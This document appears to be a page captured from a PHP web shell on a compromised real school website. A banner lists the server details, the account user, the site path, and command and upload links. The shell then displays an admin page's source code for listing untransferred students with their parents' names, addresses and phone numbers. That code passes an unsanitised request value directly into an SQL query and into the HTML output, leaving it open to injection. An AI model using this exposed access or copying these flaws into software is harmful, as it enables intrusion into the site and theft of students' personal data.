|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.60 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/mjcacademy/admin/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
$flag=$_REQUEST['flag'];
//$flag1=$_REQUEST['flag1'];
//echo $flag;
//echo $flag1;
?>
<html>
<head>
<?php include("../link/admin_headconnection.php");
include("../link/databaseconnection.php");
session_start();
$lg=$_SESSION['admin'];
if(!$lg)
{
header("location:../admin/index.php");
}
?>
<link href="../css/dashboard.css" rel="stylesheet" type="text/css"/>
<link href="../css/dashboardmenu.css" rel="stylesheet" type="text/css"/>
<link href="../css/student_details_side_menu.css" rel="stylesheet" type="text/css"/>
<link href="../css/student_details.css" rel="stylesheet" type="text/css"/>
<style>
<link href="../css/student_details.css" rel="stylesheet" type="text/css"/>
.work
{
min-height:200px;
}
.gap
{
height:100px;
}
</style>
<link href="jq/jquery.dataTables.min.css" type="text/css" rel="stylesheet"/>
<link href="jq/buttons.dataTables.min.css" type="text/css" rel="stylesheet"/>
<script src="jq/jquery.dataTables.min.js"></script>
<script src="jq/dataTables.buttons.min.js"></script>
<script src="jq/buttons.flash.min.js"></script>
<script src="jq/jszip.min.js"></script>
<script src="jq/pdfmake.min.js"></script>
<script src="jq/vfs_fonts.js"></script>
<script src="jq/buttons.html5.min.js"></script>
<script src="jq/buttons.print.min.js"></script>
<script>
///for search
$(document).ready(function(){
$("#myform21").submit(function(e){
e.preventDefault();
$.ajax({
url:"../code/student_detailscode.php?flag=36",
type:"POST",
data: new FormData(this),
contentType:false,
processData:false,
success:function(res){
//alert(res);
$("#modal").html(res);
},
error:function(){
alert("error");
}
});
});
});
///for search
//FEES UPDATE ///
function feesupdate(form)
{
var app=$("#search").val();
var a=confirm("Are you Sure");
if(a==true)
{
$.ajax({
url:"../code/student_detailscode.php?flag=43",
type:"POST",
data:new FormData(form),
contentType:false, // for photo upload ke liye hai
processData:false, //for photo upload ke liye hai
// cache:false,
success:function(res){
alert(res);
$("#editmodel89").modal("hide");
var b=confirm(" Dues Paid ! Print Slip");
if(b==true)
{
/////FOR FEES slip new
//alert(application);
$("#editbody12111").load("../code/student_detailscode.php?flag=72&app="+app);
$("#editmodel12111").modal("show");
// printDiv1();
/////FOR FEES slip new
}
},
error:function(){
alert("error");
}
});
}
return false;
}
function dues123(application)
{
//alert(application);
$("#editmodel89").modal("show");
$("#editbody89").load("../code/student_detailscode.php?flag=42&application="+application);
}
//FEES UPDATE ///
function editrow(id)
{
//alert(id);
$("#editmodel12").modal("show");
$("#editbody12").load("../code/student_detailscode.php?flag=3&id="+id);
}
function transferrow(id)
{
//alert(id);
$("#editmodel12").modal("show");
$("#editbody12").load("../code/student_detailscode.php?flag=31&id="+id);
}
/////FOR FEES DETAILS
function app1234(id)
{
//alert(application);
$("#editmodel120").modal("show");
$("#editbody120").load("../code/student_detailscode.php?flag=71&id="+id);
}
/////FOR FEES slip new
function app12345(id)
{
//alert(application);
$("#editmodel120").modal("show");
$("#editbody120").load("../code/student_detailscode.php?flag=72&id="+id);
}
/////FOR FEES slip new
function feesrow(id)
{
//alert(id);
$("#editmodel121").modal("show");
$("#editbody121").load("../code/student_detailscode.php?flag=9&id="+id);
}
//===message==//
function messagerow(id)
{
//alert(id);
$("#editmodel12").modal("show");
$("#editbody12").load("../code/student_detailscode.php?flag=7&id="+id);
}
function app12(application)
{
// alert(application);
$("#editmodel12").modal("show");
$("#editbody12").load("../code/student_detailscode.php?flag=34&application="+application);
}
function app123(application)
{
//alert(application);
$("#editmodel125").modal("show");
$("#editbody125").load("../code/student_detailscode.php?flag=27&application="+application);
}
/////FOR FEES slip new
function app12345(id)
{
//alert(application);
$("#editmodel120").modal("show");
$("#editbody120").load("../code/student_detailscode.php?flag=72&id="+id);
}
/////FOR FEES slip new
$(document).ready(function(){
///$("#modal").load("../code/student_detailscode.php?flag=36");
});
//== message==///
function deleterow(id)
{
//alert(id);
var a=confirm("Are you Sure");
if(a==true)
{
$.ajax({
url:"../code/student_detailscode.php?flag=2",
type:"POST",
data:{rowid:id},
success:function(res){
//alert(res);
//$("#modal").html(res);
$("#myform21").submit();
},
error:function(){
alert("error");
}
});
}
}
$(document).ready(function(){
//$("#modal").load("../code/student_detailscode.php?flag=1");
});
function updaterow(form)
{
$.ajax({
url:"../code/student_detailscode.php?flag=4",
type:"POST",
data:new FormData(form),
contentType:false, // for photo upload ke liye hai
processData:false, //for photo upload ke liye hai
cache:false,
success:function(res){
alert(res);
if(res=="ok")
{
$("#editmodel12").modal("hide");
$("#myform21").submit();
}
},
error:function(){
alert("error");
}
});
return false;
}
////
function changerow(form)
{
$.ajax({
url:"../code/student_detailscode.php?flag=32",
type:"POST",
data:new FormData(form),
contentType:false, // for photo upload ke liye hai
processData:false, //for photo upload ke liye hai
cache:false,
success:function(res){
alert(res);
if(res=="Transfered")
{
$("#editmodel12").modal("hide");
}
},
error:function(){
alert("error");
}
});
return false;
}
///
function result(id)
{
$("#editmodel").modal("show");
$("#editbody").load("../code/student_detailscode.php?flag=5&id="+id);
}
function go()
{
alert("ok");
$("#editmodel12").modal("show");
}
function data(form)
{
$.ajax({
url:"../code/student_detailscode.php?flag=6",
type:"POST",
data:new FormData(form),
contentType:false,
processData:false,
success:function(res){
alert(res);
if(res=="ok")
{
$("#editmodel").modal("hide");
}
},
error:function(){
alert("error");
}
});
return false;
}
function go(form)
{
$.ajax({
url:"../code/student_detailscode.php?flag=35",
type:"POST",
data:new FormData(form),
contentType:false,
processData:false,
success:function(res){
$("#editmodel").modal("hide");
},
error:function(){
alert("error");
}
});
return false;
}
function feesdata(form)
{
var app=$("#app").val();
var a=confirm("Are you Sure");
if(a==true)
{
$("#btn").prop("disabled",true);
$.ajax({
url:"../code/student_detailscode.php?flag=10",
type:"POST",
data:new FormData(form),
contentType:false,
processData:false,
success:function(res){
// alert(res);
$("#editmodel121").modal("hide");
var b=confirm(" Fees Submitted ! Print Slip");
if(b==true)
{
/////FOR FEES slip new
//alert(application);
$("#editbody12111").load("../code/student_detailscode.php?flag=72&app="+app);
$("#editmodel12111").modal("show");
// printDiv1();
/////FOR FEES slip new
}
},
error:function(){
alert("error");
}
});
}
return false;
}
</script>
<script>
function feesdatanew(form)
{
$.ajax({
url:"../code/student_detailscode.php?flag=47",
type:"POST",
data:new FormData(form),
contentType:false,
processData:false,
success:function(res){
alert(res);
$("#editmodel125").modal("hide");
},
error:function(){
alert("error");
}
});
return false;
}
</script>
</head>
<body>
<div class="container-fluid">
<div class="row">
</div>
<div class="row">
<!--menu-->
<div class="col-sm-2">
</div>
<!--menu--close-->
<div class="col-sm-12">
<div class="panel-group">
<div class="panel panel-primary">
<div class="panel-heading"><center><h4>UNTRANSFERED STUDENTS FROM <?PHP echo $flag;?> </h4></center></div>
<div class="panel-body">
<div class="row">
<script src="jq/jquery.dataTables.min.js"></script>
<script src="jq/dataTables.buttons.min.js"></script>
<script src="jq/buttons.flash.min.js"></script>
<script src="jq/jszip.min.js"></script>
<script src="jq/pdfmake.min.js"></script>
<script src="jq/vfs_fonts.js"></script>
<script src="jq/buttons.html5.min.js"></script>
<script src="jq/buttons.print.min.js"></script>
<script>
$(document).ready(function(){
$('#example').DataTable({
dom: 'Bfrtip',
buttons: ['excel']
});
});
</script>
<div class="table-responsive">
<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
<thead>
<tr align="center">
<th style="text-align:center">Sr.</th><th style="text-align:center">Sch No .</th><th style="text-align:center">Photo</th><th style="text-align:center">Name</th><th style="text-align:center">Father</th><th style="text-align:center">Mother</th><th style="text-align:center">UnTransfered From</th><th style="text-align:center">Address</th>
</tr>
</thead>
<tfoot>
<tr align="center">
<th style="text-align:center">Sr.</th><th style="text-align:center">Sch No .</th><th style="text-align:center">Photo</th><th style="text-align:center">Name</th><th style="text-align:center">Father</th><th style="text-align:center">Mother</th><th style="text-align:center">UnTransfered From</th><th style="text-align:center">Address</th>
</tr>
</tfoot>
<tbody>
<?php
$sel1="select * from registration where session ='2018-2019' and subject='$flag' and trans='' order by id asc";
$res1=mysqli_query($conn,$sel1);
$s=1;
while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
{
?>
<tr class="text-center">
<td><?php echo $s;?></td><td><?php echo $row1['application'];?></td><td><img src="../code/img/<?php echo $row1['picture'];?>" height="90px" width="90px;"></td><td><?php echo $row1['name'];?></td><td><?php echo $row1['fname'];?></td><td><?php echo $row1['mname'];?></td><td><?php echo $row1['subject'];?></td><td><?php echo $row1['village'].',<br/> Post-'.$row1['postoffice'].', <br/> Dist- '.$row1['dist'].',<br/> Mob-'.$row1['mobile'];?></td>
</tr>
<?php
$s++;
}
?>
</tbody>
</table>
</div>
<center><a href="transferstudent.php"><button>BACK</button></center>
</div>
<br/>
</div>
</div>
</div>
</div>
<br/>
<br/>
<div id="show" style="display:none"></div>
</div>
<!-- modal for result-->
<div class="modal fade" id="editmodel">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-heading">
<button class="close" data-dismiss="modal"> <span> × </span> </button>
<center><h2 class="modal-title" style="color:green;background-color:yellow"> Load Data </h2> </center>
</div>
<div class="modal-body" id="editbody">
</div>
<div class="modal-footer">
</div>
</div>
</div>
</div>
<!-- modal for result-->
<!-- modal for result-->
<div class="modal fade" id="editmodel234">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-heading">
<button class="close" data-dismiss="modal"> <span> × </span> </button>
<center><h2 class="modal-title" style="color:green;background-color:yellow"> Fill Data</h2> </center>
</div>
<div class="modal-body" id="editbody1234">
</div>
<div class="modal-footer">
</div>
</div>
</div>
</div>
<!-- modal for result-->
<div class="modal fade" id="editmodel12">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-heading">
<button class="close" data-dismiss="modal"> <span> × </span> </button>
<center><h2 class="modal-title" style="color:green;background-color:yellow"> SLIP PRINT </h2> </center>
</div>
<div class="modal-body" id="editbody12">
</div>
<div class="modal-footer">
</div>
</div>
</div>
</div>
<div class="modal fade bs-example-modal-lg" id="editmodel121">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-heading">
</div>
<div class="modal-body" id="editbody121">
</div>
<div class="modal-footer">
</div>
</div>
</div>
</div>
<div class="modal fade bs-example-modal-lg" id="editmodel125">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-heading">
<button class="close" data-dismiss="modal"> <span> × </span> </button>
<center><h2 class="modal-title" style="color:green;background-color:yellow"> UPDATION CASH RECEIPT </h2> </center>
</div>
<div class="modal-body" id="editbody125">
</div>
<div class="modal-footer">
</div>
</div>
</div>
</div>
<!-----for dus--->
<div class="modal fade bs-example-modal-lg" id="editmodel89">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-heading">
</div>
<div class="modal-body" id="editbody89">
</div>
<div class="modal-footer">
</div>
</div>
</div>
</div>
<!-- modal for result-->
<div class="modal fade bs-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" id="editmodel120">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-heading">
<button class="close" data-dismiss="modal"> <span style='font-size:40px'> × </span> </button>
<center><h2 class="modal-title" style="color:green;background-color:yellow"> FEES DETAILS</h2> </center>
</div>
<div class="modal-body" id="editbody120">
</div>
<div class="modal-footer">
</div>
</div>
</div>
</div>
<!-- modal for slip new-->
<div class="modal fade bs-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" id="editmodel12111">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-heading">
<button class="close" data-dismiss="modal"> <span style='font-size:40px'> × </span> </button>
<center><h2 class="modal-title" style="color:green;background-color:yellow"> FEES SLIP</h2> </center>
</div>
<div class="modal-body" id="editbody12111">
</div>
<div class="modal-footer">
</div>
</div>
</div>
</div>
</form>
</div>
</body>
</html>